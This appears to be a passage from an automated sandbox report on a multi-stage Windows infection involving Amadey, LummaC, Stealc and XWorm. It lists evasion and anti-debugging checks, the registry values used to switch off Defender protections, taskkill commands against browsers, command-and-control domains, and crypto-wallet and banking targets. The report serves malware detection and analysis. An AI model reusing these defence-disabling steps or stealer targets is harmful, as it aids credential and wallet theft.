Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: 44f3ff7773.exe, 00000012.00000003.2371096034.0000000005A94000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: - GDCDYNVMware20,11696492231p
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: skotes.exe, 0000000F.00000002.2549086102.0000000001018000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: discord.comVMware20,11696492231f
Source: skotes.exe, 0000000F.00000002.2549086102.000000000104B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW#
Source: XC.exe, 00000011.00000002.2554455100.000000001C080000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2567714374.0000019A599DB000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2548729603.00000297E9BFA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: global block list test formVMware20,11696492231
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: dev.azure.comVMware20,11696492231j
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: tasks.office.comVMware20,11696492231o
Source: num.exe, 00000028.00000002.2546360919.00000000012BE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000004.00000003.1468857849.00000000065CE000.00000004.00000800.00020000.00000000.sdmp, P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe, 0000000A.00000000.1470184911.0000000000ED8000.00000080.00000001.01000000.00000006.sdmp, P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe, 0000000A.00000002.1636695131.0000000000ED8000.00000040.00000001.01000000.00000006.sdmp, OXQ7QUWHYS3G7KHDRA2.exe, 0000000B.00000002.1565860201.0000000000704000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 0000000C.00000002.1607479245.0000000000754000.00000040.00000001.01000000.0000000C.sdmp, skotes.exe, 0000000F.00000002.2538983289.0000000000754000.00000040.00000001.01000000.0000000C.sdmp, 44f3ff7773.exe, 00000012.00000002.2546357468.0000000001022000.00000040.00000001.01000000.0000000F.sdmp, 0322d7d8d5.exe, 00000013.00000002.2455126013.000000000102C000.00000040.00000001.01000000.00000010.sdmp, 44f3ff7773.exe, 00000025.00000002.2542705948.0000000001022000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: num.exe, 00000028.00000002.2546360919.00000000012BE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW0V2
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: secure.bankofamerica.comVMware20,11696492231|UE
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: C:\Users\user\Desktop\file.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\file.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Thread information set: HideFromDebugger
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Process queried: DebugPort
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Code function: 10_2_00ED2D5F rdtsc 10_2_00ED2D5F
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Code function: 10_2_00D4B7DE LdrInitializeThunk, 10_2_00D4B7DE
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 15_2_0059652B mov eax, dword ptr fs:[00000030h] 15_2_0059652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 15_2_0059A302 mov eax, dword ptr fs:[00000030h] 15_2_0059A302
Enables debug privileges
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: 0322d7d8d5.exe PID: 7200, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: num.exe PID: 6768, type: MEMORYSTR
LummaC encrypted strings found
Source: file.exe, 00000004.00000003.1280293334.00000000051F0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000004.00000003.1280293334.00000000051F0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: navygenerayk.store
Source: file.exe, 00000004.00000003.1280293334.00000000051F0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: founpiuer.store
Source: file.exe, 00000004.00000003.1280293334.00000000051F0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: necklacedmny.store
Source: file.exe, 00000004.00000003.1280293334.00000000051F0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: thumbystriw.store
Source: file.exe, 00000004.00000003.1280293334.00000000051F0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: fadehairucw.store
Source: file.exe, 00000004.00000003.1280293334.00000000051F0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: crisiwarny.store
Source: file.exe, 00000004.00000003.1280293334.00000000051F0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: presticitpo.store
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe "C:\Users\user~1\AppData\Local\Temp\1002930001\XC.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe "C:\Users\user~1\AppData\Local\Temp\1002931001\44f3ff7773.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe "C:\Users\user~1\AppData\Local\Temp\1002932001\0322d7d8d5.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe "C:\Users\user~1\AppData\Local\Temp\1002933001\de31db656f.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002934001\num.exe "C:\Users\user~1\AppData\Local\Temp\1002934001\num.exe" Jump to behavior
Uses taskkill to terminate processes
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: de31db656f.exe, 00000015.00000000.2441770267.0000000000B72000.00000002.00000001.01000000.00000012.sdmp, de31db656f.exe.15.dr Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 44f3ff7773.exe, 00000012.00000002.2551613374.000000000106B000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: nProgram Manager
Source: P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe, 0000000A.00000002.1637371584.0000000000F1D000.00000040.00000001.01000000.00000006.sdmp, OXQ7QUWHYS3G7KHDRA2.exe, OXQ7QUWHYS3G7KHDRA2.exe, 0000000B.00000002.1565860201.0000000000704000.00000040.00000001.01000000.00000007.sdmp Binary or memory string: Program Manager
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 15_2_0057D3E2 cpuid 15_2_0057D3E2
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002934001\num.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002934001\num.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\XC.exe Queries volume information: C:\Users\user\XC.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 15_2_0057CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime, 15_2_0057CBEA
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 15_2_005665E0 LookupAccountNameA, 15_2_005665E0
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Disable Windows Defender notifications (registry)
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1 Jump to behavior
Disable Windows Defender real time protection (registry)
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableIOAVProtection 1 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableRealtimeMonitoring 1 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications Registry value created: DisableNotifications 1 Jump to behavior
Disables Windows Defender Tamper protection
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Registry value created: TamperProtection 0 Jump to behavior
Modifies windows update settings
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations Jump to behavior
AV process strings found (often used to terminate AV products)
Source: file.exe, 00000004.00000003.1418943426.00000000014F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1397112437.00000000014F8000.00000004.00000020.00020000.00000000.sdmp, XC.exe, 00000011.00000002.2554455100.000000001C0EF000.00000004.00000020.00020000.00000000.sdmp, XC.exe, 00000011.00000002.2540305961.0000000001316000.00000004.00000020.00020000.00000000.sdmp, XC.exe, 00000011.00000002.2554455100.000000001C080000.00000004.00000020.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2440624645.0000000005A40000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2439981186.000000000134D000.00000004.00000020.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2440395081.0000000005A3B000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2439537327.0000000005A37000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\Desktop\file.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\XC.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected Amadeys stealer DLL
Source: Yara match File source: 11.2.OXQ7QUWHYS3G7KHDRA2.exe.510000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.skotes.exe.560000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.skotes.exe.560000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000002.1563574825.0000000000511000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.1607401802.0000000000561000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.1566491925.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.1516304067.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2537406255.0000000000561000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000003.2136520797.0000000004E70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected Credential Flusher
Source: Yara match File source: Process Memory Space: de31db656f.exe PID: 2436, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: file.exe PID: 5648, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 44f3ff7773.exe PID: 316, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 40.0.num.exe.580000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.0322d7d8d5.exe.bc0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.num.exe.580000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000028.00000002.2537550104.0000000000581000.00000080.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2454730421.0000000000BC1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000003.2395851791.0000000005360000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000002.2546360919.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000002.2537968308.000000000059E000.00000002.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000000.2521547283.000000000059E000.00000002.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2456120986.000000000165C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000000.2521448319.0000000000581000.00000080.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 0322d7d8d5.exe PID: 7200, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: num.exe PID: 6768, type: MEMORYSTR
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe, type: DROPPED
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected XWorm
Source: Yara match File source: 17.0.XC.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000F.00000002.2549086102.000000000104B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000000.2209001966.0000000000D22000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: skotes.exe PID: 5088, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: XC.exe PID: 3060, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\XC.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\XC[1].exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe, type: DROPPED
Found many strings related to Crypto-Wallets (likely being stolen)
Source: file.exe String found in binary or memory: llets/ElectronCash
Source: file.exe, 00000004.00000003.1371791078.00000000014F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Jaxx Libertyime
Source: 44f3ff7773.exe, 00000012.00000003.2449861994.0000000001359000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: ":0,"p":"%appdata%\\Binance","m":["app-store.json",".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexedDB","m":["*"],"z":"Wallets/JAXX New Version","d":2,"
Source: file.exe String found in binary or memory: ExodusWeb3
Source: 44f3ff7773.exe, 00000012.00000003.2413888118.0000000001351000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: ms\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%
